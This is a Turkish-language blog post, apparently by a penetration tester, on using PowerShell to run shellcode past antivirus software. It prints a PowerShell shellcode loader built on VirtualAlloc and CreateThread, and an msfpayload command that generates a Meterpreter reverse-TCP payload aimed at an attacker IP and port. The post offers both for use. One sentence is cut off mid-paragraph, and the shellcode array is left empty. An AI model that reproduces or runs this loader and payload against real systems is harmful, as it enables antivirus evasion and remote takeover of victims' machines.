

# Komut Satırının Gücü Adına!

written by Mert SARICA | 6 December 2012

Yapılan istatistiklere göre 2011 yılının son çeyreğinde Windows XP işletim sistemi ile Windows 7 işletim sistemi arasındaki kullanım oranları birbirine oldukça yakınken, 2012 yılının son çeyreğinde Windows 7 işletim sistemi kullanım oranının Windows XP işletim sistemi kullanım oranını ikiye katlamış olması, penetrasyon testi/sızma testi gerçekleştiren bilişim güvenliği uzmanları arasında tek bir nedenden ötürü memnuniyetle karşılandı o da Windows 7 ile yüklü gelen Powershell'den başkası değildi.

Powershell, Microsoft tarafından yönetim görevlerini otomatize etmek amacıyla geliştirilmiş, .NET sınıflarından faydalanarak betikler (script) geliştirilmesine imkan tanıyan yeni nesil komut satırıdır. İlk sürümü 2006 yılında Microsoft tarafından yayınlanan Powershell'in ikinci sürümü 2009 yılında Windows 7 ve Windows 2008 işletim sistemlerine entegre edilmiş üçüncü sürümü ise Windows 8 ve Windows Server 2012 işletim sistemlerine entegre edilerek kullanıcıların kullanımına sunulmuştur.

Powershell, güvenlik önlemi adına güvenilir kaynaklar tarafından geliştirilmemiş olan betiklerin çalıştırılmasına varsayılan (default) olarak izin vermez. Kurumsal ortamlarda da daha önce Powershell'in gücüne tanıklık etmiş olan Sistem Yöneticileri çoğunlukla Etki Alanı Denetleyicisi (DC) üzerinden Powershell'in güvenilir olmayan kaynaklardan indirilen betiklerin çalıştırılmasını yasaklamaktadırlar.



ise Powershell sayesinde Antivirüs yazılımının kullanıldığı bir sistemde Antivirüs'e yakalanmadan istenilen kabuk kodu çalıştırabilmektedir.

Örnek olarak Powershell üzerinden kabuk kodu çalıştırmak için Matt Graeber tarafından geliştirilen aşağıdaki betiği kullanabilirsiniz.

```
$code = {$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = ;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
```

Betiğin çalışabilmesi için \$sc64 değişkenine hedef işlemci mimarisine uygun olan (x32 veya x64) kabuk kodunu kopyalamanız gerekmektedir. \$sc64 değişkenine atanacak kabuk kodunu aşağıdaki şekilde oluşturabilirsiniz.

```
msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.128  
PORT=4444 EXITFUNC=thread C | sed '1,6d;s/["];]//g;s/\\/,0/g' | tr -d '\n' |  
cut -c2- | sed 's/^[^0]*\(\0.*\/*\).*\/\1/' | sed 's/.\{2\}$//' | tr -d '\n' |  
more
```



